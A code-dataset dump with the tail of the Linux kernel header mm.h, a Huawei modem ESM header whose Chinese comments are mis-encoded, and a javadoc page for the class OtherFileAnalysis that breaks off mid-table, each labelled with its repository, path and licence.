static inline pmd_t *pmd_alloc(struct mm_struct *mm, pud_t *pud, unsigned long address)
{
return (unlikely(pud_none(*pud)) && __pmd_alloc(mm, pud, address))?
NULL: pmd_offset(pud, address);
}
#endif /* CONFIG_MMU && !__ARCH_HAS_4LEVEL_HACK */
#if USE_SPLIT_PTLOCKS
/*
* We tuck a spinlock to guard each pagetable page into its struct page,
* at page->private, with BUILD_BUG_ON to make sure that this will not
* overflow into the next struct page (as it might with DEBUG_SPINLOCK).
* When freeing, reset page->mapping so free_pages_check won't complain.
*/
#define __pte_lockptr(page) &((page)->ptl)
#define pte_lock_init(_page) do { \
spin_lock_init(__pte_lockptr(_page)); \
} while (0)
#define pte_lock_deinit(page) ((page)->mapping = NULL)
#define pte_lockptr(mm, pmd) ({(void)(mm); __pte_lockptr(pmd_page(*(pmd)));})
#else /* !USE_SPLIT_PTLOCKS */
/*
* We use mm->page_table_lock to guard all pagetable pages of the mm.
*/
#define pte_lock_init(page) do {} while (0)
#define pte_lock_deinit(page) do {} while (0)
#define pte_lockptr(mm, pmd) ({(void)(pmd); &(mm)->page_table_lock;})
#endif /* USE_SPLIT_PTLOCKS */
static inline void pgtable_page_ctor(struct page *page)
{
pte_lock_init(page);
inc_zone_page_state(page, NR_PAGETABLE);
}
static inline void pgtable_page_dtor(struct page *page)
{
pte_lock_deinit(page);
dec_zone_page_state(page, NR_PAGETABLE);
}
#define pte_offset_map_lock(mm, pmd, address, ptlp) \
({ \
spinlock_t *__ptl = pte_lockptr(mm, pmd); \
pte_t *__pte = pte_offset_map(pmd, address); \
*(ptlp) = __ptl; \
spin_lock(__ptl); \
__pte; \
})
#define pte_unmap_unlock(pte, ptl) do { \
spin_unlock(ptl); \
pte_unmap(pte); \
} while (0)
#define pte_alloc_map(mm, vma, pmd, address) \
((unlikely(pmd_none(*(pmd))) && __pte_alloc(mm, vma, \
pmd, address))? \
NULL: pte_offset_map(pmd, address))
#define pte_alloc_map_lock(mm, pmd, address, ptlp) \
((unlikely(pmd_none(*(pmd))) && __pte_alloc(mm, NULL, \
pmd, address))? \
NULL: pte_offset_map_lock(mm, pmd, address, ptlp))
#define pte_alloc_kernel(pmd, address) \
((unlikely(pmd_none(*(pmd))) && __pte_alloc_kernel(pmd, address))? \
NULL: pte_offset_kernel(pmd, address))
extern void free_area_init(unsigned long * zones_size);
extern void free_area_init_node(int nid, unsigned long * zones_size,
unsigned long zone_start_pfn, unsigned long *zholes_size);
extern void free_initmem(void);
#ifdef CONFIG_HAVE_MEMBLOCK_NODE_MAP
/*
* With CONFIG_HAVE_MEMBLOCK_NODE_MAP set, an architecture may initialise its
* zones, allocate the backing mem_map and account for memory holes in a more
* architecture independent manner. This is a substitute for creating the
* zone_sizes[] and zholes_size[] arrays and passing them to
* free_area_init_node()
*
* An architecture is expected to register range of page frames backed by
* physical memory with memblock_add[_node]() before calling
* free_area_init_nodes() passing in the PFN each zone ends at. At a basic
* usage, an architecture is expected to do something like
*
* unsigned long max_zone_pfns[MAX_NR_ZONES] = {max_dma, max_normal_pfn,
* max_highmem_pfn};
* for_each_valid_physical_page_range()
* memblock_add_node(base, size, nid)
* free_area_init_nodes(max_zone_pfns);
*
* free_bootmem_with_active_regions() calls free_bootmem_node() for each
* registered physical page range. Similarly
* sparse_memory_present_with_active_regions() calls memory_present() for
* each range when SPARSEMEM is enabled.
*
* See mm/page_alloc.c for more information on each function exposed by
* CONFIG_HAVE_MEMBLOCK_NODE_MAP.
*/
extern void free_area_init_nodes(unsigned long *max_zone_pfn);
unsigned long node_map_pfn_alignment(void);
unsigned long __absent_pages_in_range(int nid, unsigned long start_pfn,
unsigned long end_pfn);
extern unsigned long absent_pages_in_range(unsigned long start_pfn,
unsigned long end_pfn);
extern void get_pfn_range_for_nid(unsigned int nid,
unsigned long *start_pfn, unsigned long *end_pfn);
extern unsigned long find_min_pfn_with_active_regions(void);
extern void free_bootmem_with_active_regions(int nid,
unsigned long max_low_pfn);
extern void sparse_memory_present_with_active_regions(int nid);
#endif /* CONFIG_HAVE_MEMBLOCK_NODE_MAP */
#if !defined(CONFIG_HAVE_MEMBLOCK_NODE_MAP) && \
!defined(CONFIG_HAVE_ARCH_EARLY_PFN_TO_NID)
static inline int __early_pfn_to_nid(unsigned long pfn)
{
return 0;
}
#else
/* please see mm/page_alloc.c */
extern int __meminit early_pfn_to_nid(unsigned long pfn);
#ifdef CONFIG_HAVE_ARCH_EARLY_PFN_TO_NID
/* there is a per-arch backend function. */
extern int __meminit __early_pfn_to_nid(unsigned long pfn);
#endif /* CONFIG_HAVE_ARCH_EARLY_PFN_TO_NID */
#endif
extern void set_dma_reserve(unsigned long new_dma_reserve);
extern void memmap_init_zone(unsigned long, int, unsigned long,
unsigned long, enum memmap_context);
extern void setup_per_zone_wmarks(void);
extern int __meminit init_per_zone_wmark_min(void);
extern void mem_init(void);
extern void __init mmap_init(void);
extern void show_mem(unsigned int flags);
extern void si_meminfo(struct sysinfo * val);
extern void si_meminfo_node(struct sysinfo *val, int nid);
extern int after_bootmem;
extern __printf(3, 4)
void warn_alloc_failed(gfp_t gfp_mask, int order, const char *fmt, ...);
extern void setup_per_cpu_pageset(void);
extern void zone_pcp_update(struct zone *zone);
/* nommu.c */
extern atomic_long_t mmap_pages_allocated;
extern int nommu_shrink_inode_mappings(struct inode *, size_t, size_t);
/* prio_tree.c */
void vma_prio_tree_add(struct vm_area_struct *, struct vm_area_struct *old);
void vma_prio_tree_insert(struct vm_area_struct *, struct prio_tree_root *);
void vma_prio_tree_remove(struct vm_area_struct *, struct prio_tree_root *);
struct vm_area_struct *vma_prio_tree_next(struct vm_area_struct *vma,
struct prio_tree_iter *iter);
#define vma_prio_tree_foreach(vma, iter, root, begin, end) \
for (prio_tree_iter_init(iter, root, begin, end), vma = NULL; \
(vma = vma_prio_tree_next(vma, iter)); )
static inline void vma_nonlinear_insert(struct vm_area_struct *vma,
struct list_head *list)
{
vma->shared.vm_set.parent = NULL;
list_add_tail(&vma->shared.vm_set.list, list);
}
/* mmap.c */
extern int __vm_enough_memory(struct mm_struct *mm, long pages, int cap_sys_admin);
extern int vma_adjust(struct vm_area_struct *vma, unsigned long start,
unsigned long end, pgoff_t pgoff, struct vm_area_struct *insert);
extern struct vm_area_struct *vma_merge(struct mm_struct *,
struct vm_area_struct *prev, unsigned long addr, unsigned long end,
unsigned long vm_flags, struct anon_vma *, struct file *, pgoff_t,
struct mempolicy *, const char __user *);
extern struct anon_vma *find_mergeable_anon_vma(struct vm_area_struct *);
extern int split_vma(struct mm_struct *,
struct vm_area_struct *, unsigned long addr, int new_below);
extern int insert_vm_struct(struct mm_struct *, struct vm_area_struct *);
extern void __vma_link_rb(struct mm_struct *, struct vm_area_struct *,
struct rb_node **, struct rb_node *);
extern void unlink_file_vma(struct vm_area_struct *);
extern struct vm_area_struct *copy_vma(struct vm_area_struct **,
unsigned long addr, unsigned long len, pgoff_t pgoff);
extern void exit_mmap(struct mm_struct *);
extern int mm_take_all_locks(struct mm_struct *mm);
extern void mm_drop_all_locks(struct mm_struct *mm);
/* From fs/proc/base.c. callers must _not_ hold the mm's exe_file_lock */
extern void added_exe_file_vma(struct mm_struct *mm);
extern void removed_exe_file_vma(struct mm_struct *mm);
extern void set_mm_exe_file(struct mm_struct *mm, struct file *new_exe_file);
extern struct file *get_mm_exe_file(struct mm_struct *mm);
extern int may_expand_vm(struct mm_struct *mm, unsigned long npages);
extern int install_special_mapping(struct mm_struct *mm,
unsigned long addr, unsigned long len,
unsigned long flags, struct page **pages);
extern unsigned long get_unmapped_area(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
extern unsigned long mmap_region(struct file *file, unsigned long addr,
unsigned long len, unsigned long flags,
vm_flags_t vm_flags, unsigned long pgoff);
extern unsigned long do_mmap(struct file *, unsigned long,
unsigned long, unsigned long,
unsigned long, unsigned long);
extern int do_munmap(struct mm_struct *, unsigned long, size_t);
/* These take the mm semaphore themselves */
extern unsigned long vm_brk(unsigned long, unsigned long);
extern int vm_munmap(unsigned long, size_t);
extern unsigned long vm_mmap(struct file *, unsigned long,
unsigned long, unsigned long,
unsigned long, unsigned long);
/* truncate.c */
extern void truncate_inode_pages(struct address_space *, loff_t);
extern void truncate_inode_pages_range(struct address_space *,
loff_t lstart, loff_t lend);
/* generic vm_area_ops exported for stackable file systems */
extern int filemap_fault(struct vm_area_struct *, struct vm_fault *);
/* mm/page-writeback.c */
int write_one_page(struct page *page, int wait);
void task_dirty_inc(struct task_struct *tsk);
/* readahead.c */
#define VM_MAX_READAHEAD 128 /* kbytes */
#define VM_MIN_READAHEAD 16 /* kbytes (includes current page) */
int force_page_cache_readahead(struct address_space *mapping, struct file *filp,
pgoff_t offset, unsigned long nr_to_read);
void page_cache_sync_readahead(struct address_space *mapping,
struct file_ra_state *ra,
struct file *filp,
pgoff_t offset,
unsigned long size);
void page_cache_async_readahead(struct address_space *mapping,
struct file_ra_state *ra,
struct file *filp,
struct page *pg,
pgoff_t offset,
unsigned long size);
unsigned long max_sane_readahead(unsigned long nr);
unsigned long ra_submit(struct file_ra_state *ra,
struct address_space *mapping,
struct file *filp);
/* Generic expand stack which grows the stack according to GROWS{UP,DOWN} */
extern int expand_stack(struct vm_area_struct *vma, unsigned long address);
/* CONFIG_STACK_GROWSUP still needs to to grow downwards at some places */
extern int expand_downwards(struct vm_area_struct *vma,
unsigned long address);
#if VM_GROWSUP
extern int expand_upwards(struct vm_area_struct *vma, unsigned long address);
#else
#define expand_upwards(vma, address) do { } while (0)
#endif
/* Look up the first VMA which satisfies addr < vm_end, NULL if none. */
extern struct vm_area_struct * find_vma(struct mm_struct * mm, unsigned long addr);
extern struct vm_area_struct * find_vma_prev(struct mm_struct * mm, unsigned long addr,
struct vm_area_struct **pprev);
/* Look up the first VMA which intersects the interval start_addr..end_addr-1,
NULL if none. Assume start_addr < end_addr. */
static inline struct vm_area_struct * find_vma_intersection(struct mm_struct * mm, unsigned long start_addr, unsigned long end_addr)
{
struct vm_area_struct * vma = find_vma(mm,start_addr);
if (vma && end_addr <= vma->vm_start)
vma = NULL;
return vma;
}
static inline unsigned long vma_pages(struct vm_area_struct *vma)
{
return (vma->vm_end - vma->vm_start) >> PAGE_SHIFT;
}
/* Look up the first VMA which exactly match the interval vm_start ... vm_end */
static inline struct vm_area_struct *find_exact_vma(struct mm_struct *mm,
unsigned long vm_start, unsigned long vm_end)
{
struct vm_area_struct *vma = find_vma(mm, vm_start);
if (vma && (vma->vm_start != vm_start || vma->vm_end != vm_end))
vma = NULL;
return vma;
}
#ifdef CONFIG_MMU
pgprot_t vm_get_page_prot(unsigned long vm_flags);
#else
static inline pgprot_t vm_get_page_prot(unsigned long vm_flags)
{
return __pgprot(0);
}
#endif
struct vm_area_struct *find_extend_vma(struct mm_struct *, unsigned long addr);
int remap_pfn_range(struct vm_area_struct *, unsigned long addr,
unsigned long pfn, unsigned long size, pgprot_t);
int vm_insert_page(struct vm_area_struct *, unsigned long addr, struct page *);
int vm_insert_pfn(struct vm_area_struct *vma, unsigned long addr,
unsigned long pfn);
int vm_insert_mixed(struct vm_area_struct *vma, unsigned long addr,
unsigned long pfn);
struct page *follow_page(struct vm_area_struct *, unsigned long address,
unsigned int foll_flags);
#define FOLL_WRITE 0x01 /* check pte is writable */
#define FOLL_TOUCH 0x02 /* mark page accessed */
#define FOLL_GET 0x04 /* do get_page on page */
#define FOLL_DUMP 0x08 /* give error on hole if it would be zero */
#define FOLL_FORCE 0x10 /* get_user_pages read/write w/o permission */
#define FOLL_NOWAIT 0x20 /* if a disk transfer is needed, start the IO
* and return without waiting upon it */
#define FOLL_MLOCK 0x40 /* mark page as mlocked */
#define FOLL_SPLIT 0x80 /* don't return transhuge pages, split them */
#define FOLL_HWPOISON 0x100 /* check page is hwpoisoned */
typedef int (*pte_fn_t)(pte_t *pte, pgtable_t token, unsigned long addr,
void *data);
extern int apply_to_page_range(struct mm_struct *mm, unsigned long address,
unsigned long size, pte_fn_t fn, void *data);
#ifdef CONFIG_PROC_FS
void vm_stat_account(struct mm_struct *, unsigned long, struct file *, long);
#else
static inline void vm_stat_account(struct mm_struct *mm,
unsigned long flags, struct file *file, long pages)
{
}
#endif /* CONFIG_PROC_FS */
#ifdef CONFIG_DEBUG_PAGEALLOC
extern void kernel_map_pages(struct page *page, int numpages, int enable);
#ifdef CONFIG_HIBERNATION
extern bool kernel_page_present(struct page *page);
#endif /* CONFIG_HIBERNATION */
#else
static inline void
kernel_map_pages(struct page *page, int numpages, int enable) {}
#ifdef CONFIG_HIBERNATION
static inline bool kernel_page_present(struct page *page) { return true; }
#endif /* CONFIG_HIBERNATION */
#endif
extern struct vm_area_struct *get_gate_vma(struct mm_struct *mm);
#ifdef __HAVE_ARCH_GATE_AREA
int in_gate_area_no_mm(unsigned long addr);
int in_gate_area(struct mm_struct *mm, unsigned long addr);
#else
int in_gate_area_no_mm(unsigned long addr);
#define in_gate_area(mm, addr) ({(void)mm; in_gate_area_no_mm(addr);})
#endif /* __HAVE_ARCH_GATE_AREA */
#ifdef CONFIG_USE_USER_ACCESSIBLE_TIMERS
static inline int use_user_accessible_timers(void) { return 1; }
extern int in_user_timers_area(struct mm_struct *mm, unsigned long addr);
extern struct vm_area_struct *get_user_timers_vma(struct mm_struct *mm);
extern int get_user_timer_page(struct vm_area_struct *vma,
struct mm_struct *mm, unsigned long start, unsigned int gup_flags,
struct page **pages, int idx, int *goto_next_page);
#else
static inline int use_user_accessible_timers(void) { return 0; }
static inline int in_user_timers_area(struct mm_struct *mm, unsigned long addr)
{
return 0;
}
static inline struct vm_area_struct *get_user_timers_vma(struct mm_struct *mm)
{
return NULL;
}
static inline int get_user_timer_page(struct vm_area_struct *vma,
struct mm_struct *mm, unsigned long start, unsigned int gup_flags,
struct page **pages, int idx, int *goto_next_page)
{
*goto_next_page = 0;
return 0;
}
#endif
int drop_caches_sysctl_handler(struct ctl_table *, int,
void __user *, size_t *, loff_t *);
unsigned long shrink_slab(struct shrink_control *shrink,
unsigned long nr_pages_scanned,
unsigned long lru_pages);
#ifndef CONFIG_MMU
#define randomize_va_space 0
#else
extern int randomize_va_space;
#endif
const char * arch_vma_name(struct vm_area_struct *vma);
void print_vma_addr(char *prefix, unsigned long rip);
void sparse_mem_maps_populate_node(struct page **map_map,
unsigned long pnum_begin,
unsigned long pnum_end,
unsigned long map_count,
int nodeid);
struct page *sparse_mem_map_populate(unsigned long pnum, int nid);
pgd_t *vmemmap_pgd_populate(unsigned long addr, int node);
pud_t *vmemmap_pud_populate(pgd_t *pgd, unsigned long addr, int node);
pmd_t *vmemmap_pmd_populate(pud_t *pud, unsigned long addr, int node);
pte_t *vmemmap_pte_populate(pmd_t *pmd, unsigned long addr, int node);
void *vmemmap_alloc_block(unsigned long size, int node);
void *vmemmap_alloc_block_buf(unsigned long size, int node);
void vmemmap_verify(pte_t *, int, unsigned long, unsigned long);
int vmemmap_populate_basepages(struct page *start_page,
unsigned long pages, int node);
int vmemmap_populate(struct page *start_page, unsigned long pages, int node);
void vmemmap_populate_print_last(void);
enum mf_flags {
MF_COUNT_INCREASED = 1 << 0,
MF_ACTION_REQUIRED = 1 << 1,
};
extern int memory_failure(unsigned long pfn, int trapno, int flags);
extern void memory_failure_queue(unsigned long pfn, int trapno, int flags);
extern int unpoison_memory(unsigned long pfn);
extern int sysctl_memory_failure_early_kill;
extern int sysctl_memory_failure_recovery;
extern void shake_page(struct page *p, int access);
extern atomic_long_t mce_bad_pages;
extern int soft_offline_page(struct page *page, int flags);
extern void dump_page(struct page *page);
#if defined(CONFIG_TRANSPARENT_HUGEPAGE) || defined(CONFIG_HUGETLBFS)
extern void clear_huge_page(struct page *page,
unsigned long addr,
unsigned int pages_per_huge_page);
extern void copy_user_huge_page(struct page *dst, struct page *src,
unsigned long addr, struct vm_area_struct *vma,
unsigned int pages_per_huge_page);
#endif /* CONFIG_TRANSPARENT_HUGEPAGE || CONFIG_HUGETLBFS */
#ifdef CONFIG_DEBUG_PAGEALLOC
extern unsigned int _debug_guardpage_minorder;
static inline unsigned int debug_guardpage_minorder(void)
{
return _debug_guardpage_minorder;
}
static inline bool page_is_guard(struct page *page)
{
return test_bit(PAGE_DEBUG_FLAG_GUARD, &page->debug_flags);
}
#else
static inline unsigned int debug_guardpage_minorder(void) { return 0; }
static inline bool page_is_guard(struct page *page) { return false; }
#endif /* CONFIG_DEBUG_PAGEALLOC */
#endif /* __KERNEL__ */
#endif /* _LINUX_MM_H */
|
mautz-kernel/SFOS-hammerhead-custom-kernel
|
include/linux/mm.h
|
C
|
gpl-2.0
| 57,698
|
#ifndef _NASESMNWMSGPDNDISCONPROC_H
#define _NASESMNWMSGPDNDISCONPROC_H
/*****************************************************************************
1 ÆäËûÍ·Îļþ°üº¬
*****************************************************************************/
#include "vos.h"
#include "NasEsmPublic.h"
/*****************************************************************************
1.1 Cplusplus Announce
*****************************************************************************/
#ifdef __cplusplus
#if __cplusplus
extern "C" {
#endif
#endif
/*****************************************************************************
#pragma pack(*) ÉèÖÃ×Ö½Ú¶ÔÆë·½Ê½
*****************************************************************************/
#if (VOS_OS_VER != VOS_WIN32)
#pragma pack(4)
#else
#pragma pack(push, 4)
#endif
/*****************************************************************************
2 macro
*****************************************************************************/
/*****************************************************************************
3 Massage Declare
*****************************************************************************/
/*****************************************************************************
4 Enum
*****************************************************************************/
/*****************************************************************************
5 STRUCT
*****************************************************************************/
/*****************************************************************************
6 UNION
*****************************************************************************/
/*****************************************************************************
7 Extern Global Variable
*****************************************************************************/
/*****************************************************************************
8 Fuction Extern
*****************************************************************************/
extern VOS_VOID NAS_ESM_InformAppBearerRel(VOS_UINT32 ulEpsbId);
extern VOS_VOID NAS_ESM_ProcValidNwMsgDeactEpsbReq
(
VOS_UINT32 ulStateTblIndex,
const EMM_ESM_INTRA_DATA_IND_STRU *pRcvMsg
);
extern VOS_VOID NAS_ESM_ProcValidNwMsgPdnDisconRej
(
VOS_UINT32 ulStateTblIndex,
const EMM_ESM_INTRA_DATA_IND_STRU *pRcvMsg
);
/*****************************************************************************
9 OTHERS
*****************************************************************************/
#if (VOS_OS_VER != VOS_WIN32)
#pragma pack()
#else
#pragma pack(pop)
#endif
#ifdef __cplusplus
#if __cplusplus
}
#endif
#endif
#endif /* end of NasEsmNwMsgPdnDisconProc.h*/
|
Honor8Dev/android_kernel_huawei_FRD-L04
|
drivers/vendor/hisi/modem/ps/nas/tl/lte/ESM/Inc/NasEsmNwMsgPdnDisconProc.h
|
C
|
gpl-2.0
| 2,869
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Frameset//EN""http://www.w3.org/TR/REC-html40/frameset.dtd">
<!--NewPage-->
<HTML>
<HEAD>
<!-- Generated by javadoc on Thu Jul 10 08:52:07 PDT 2003 -->
<TITLE>
: Class OtherFileAnalysis
</TITLE>
<LINK REL ="stylesheet" TYPE="text/css" HREF="../../../stylesheet.css" TITLE="Style">
</HEAD>
<BODY BGCOLOR="white">
<!-- ========== START OF NAVBAR ========== -->
<A NAME="navbar_top"><!-- --></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_top_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="class-use/OtherFileAnalysis.html"><FONT CLASS="NavBarFont1"><B>Use</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../index-files/index-1.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../com/versata/automationanalyzer/MainWindow.ExtensionFileFilter.html"><B>PREV CLASS</B></A>
<A HREF="../../../com/versata/automationanalyzer/QueryObjectAnalysis.html"><B>NEXT CLASS</B></A></FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../index.html" TARGET="_top"><B>FRAMES</B></A>
<A HREF="OtherFileAnalysis.html" TARGET="_top"><B>NO FRAMES</B></A></FONT></TD>
</TR>
<TR>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
SUMMARY: INNER | <A HREF="#field_summary">FIELD</A> | <A HREF="#constructor_summary">CONSTR</A> | <A HREF="#method_summary">METHOD</A></FONT></TD>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
DETAIL: <A HREF="#field_detail">FIELD</A> | <A HREF="#constructor_detail">CONSTR</A> | <A HREF="#method_detail">METHOD</A></FONT></TD>
</TR>
</TABLE>
<!-- =========== END OF NAVBAR =========== -->
<HR>
<!-- ======== START OF CLASS DATA ======== -->
<H2>
<FONT SIZE="-1">
com.versata.automationanalyzer</FONT>
<BR>
Class OtherFileAnalysis</H2>
<PRE>
java.lang.Object
|
+--<A HREF="../../../com/versata/automationanalyzer/ArtefactAnalysis.html">com.versata.automationanalyzer.ArtefactAnalysis</A>
|
+--<B>com.versata.automationanalyzer.OtherFileAnalysis</B>
</PRE>
<HR>
<DL>
<DT>public class <B>OtherFileAnalysis</B><DT>extends <A HREF="../../../com/versata/automationanalyzer/ArtefactAnalysis.html">ArtefactAnalysis</A></DL>
<P>
Title:
Description:
Copyright: Copyright (c) 2001
Company:
<P>
<DL>
<DT><B>Version: </B><DD>1.0</DD>
<DT><B>Author: </B><DD> </DD>
</DL>
<HR>
<P>
<!-- ======== INNER CLASS SUMMARY ======== -->
<!-- =========== FIELD SUMMARY =========== -->
<A NAME="field_summary"><!-- --></A>
<TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TD COLSPAN=2><FONT SIZE="+2">
<B>Field Summary</B></FONT></TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../com/versata/automationanalyzer/OtherFileAnalysis.html#fileName">fileName</A></B></CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> int</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../com/versata/automationanalyzer/OtherFileAnalysis.html#numCodeLines">numCodeLines</A></B></CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> int</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../com/versata/automationanalyzer/OtherFileAnalysis.html#numMethods">numMethods</A></B></CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../com/versata/automationanalyzer/OtherFileAnalysis.html#rootDirectory">rootDirectory</A></B></CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> java.lang.String</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../com/versata/automationanalyzer/OtherFileAnalysis.html#simpleName">simpleName</A></B></CODE>
<BR>
</TD>
</TR>
</TABLE>
<A NAME="fields_inherited_from_class_com.versata.automationanalyzer.ArtefactAnalysis"><!-- --></A>
<TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%">
<TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor">
<TD><B>Fields inherited from class com.versata.automationanalyzer.<A HREF="../../../com/versata/automationanalyzer/ArtefactAnalysis.html">ArtefactAnalysis</A></B></TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD><CODE><A HREF="../../../com/versata/automationanalyzer/ArtefactAnalysis.html#errors">errors</A>, <A HREF="../../../com/versata/automationanalyzer/ArtefactAnalysis.html#notes">notes</A></CODE></TD>
</TR>
</TABLE>
<!-- ======== CONSTRUCTOR SUMMARY ======== -->
<A NAME="constructor_summary"><!-- --></A>
<TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TD COLSPAN=2><FONT SIZE="+2">
<B>Constructor Summary</B></FONT></TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD><CODE><B><A HREF="../../../com/versata/automationanalyzer/OtherFileAnalysis.html#OtherFileAnalysis(java.lang.String, java.lang.String)">OtherFileAnalysis</A></B>(java.lang.String rootDirectory,
java.lang.String fileName)</CODE>
<BR>
</TD>
</TR>
</TABLE>
<!-- ========== METHOD SUMMARY =========== -->
<A NAME="method_summary"><!-- --></A>
<TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TD COLSPAN=2><FONT SIZE="+2">
<B>Method Summary</B></FONT></TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../com/versata/automationanalyzer/OtherFileAnalysis.html#analyze()">analyze</A></B>()</CODE>
<BR>
</TD>
</TR>
</TABLE>
<A NAME="methods_inherited_from_class_com.versata.automationanalyzer.ArtefactAnalysis"><!-- --></A>
<TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%">
<TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor">
<TD><B>Methods inherited from class com.versata.automationanalyzer.<A HREF="../../../com/versata/automationanalyzer/ArtefactAnalysis.html">ArtefactAnalysis</A></B></TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD><CODE><A HREF="../../../com/versata/automationanalyzer/ArtefactAnalysis.html#countUserVersataLines(java.lang.String)">countUserVersataLines</A></CODE></TD>
</TR>
</TABLE>
<A NAME="methods_inherited_from_class_java.lang.Object"><!-- --></A>
<TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%">
<TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor">
<TD><B>Methods inherited from class java.lang.Object</B></TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD><CODE>equals, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait</CODE></TD>
</TR>
</TABLE>
<P>
<!-- ============ FIELD DETAIL =========== -->
<A NAME="field_detail"><!-- --></A>
<TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TD COLSPAN=1><FONT SIZE="+2">
<B>Field Detail</B></FONT></TD>
</TR>
</TABLE>
<A NAME="fileName"><!-- --></A><H3>
fileName</H3>
<PRE>
public java.lang.String <B>fileName</B></PRE>
<DL>
</DL>
<HR>
<A NAME="numCodeLines"><!-- --></A><H3>
numCodeLines</H3>
<PRE>
public int <B>numCodeLines</B></PRE>
<DL>
</DL>
<HR>
<A NAME="numMethods"><!-- --></A><H3>
numMethods</H3>
<PRE>
public int <B>numMethods</B></PRE>
<DL>
</DL>
<HR>
<A NAME="rootDirectory"><!-- --></A><H3>
rootDirectory</H3>
<PRE>
public java.lang.String <B>rootDirectory</B></PRE>
<DL>
</DL>
<HR>
<A NAME="simpleName"><!-- --></A><H3>
simpleName</H3>
<PRE>
public java.lang.String <B>simpleName</B></PRE>
<DL>
</DL>
<!-- ========= CONSTRUCTOR DETAIL ======== -->
<A NAME="constructor_detail"><!-- --></A>
<TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TD COLSPAN=1><FONT SIZE="+2">
<B>Constructor Detail</B></FONT></TD>
</TR>
</TABLE>
<A NAME="OtherFileAnalysis(java.lang.String, java.lang.String)"><!-- --></A><H3>
OtherFileAnalysis</H3>
<PRE>
public <B>OtherFileAnalysis</B>(java.lang.String rootDirectory,
java.lang.String fileName)</PRE>
<DL>
</DL>
<!-- ============ METHOD DETAIL ========== -->
<A NAME="method_detail"><!-- --></A>
<TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%">
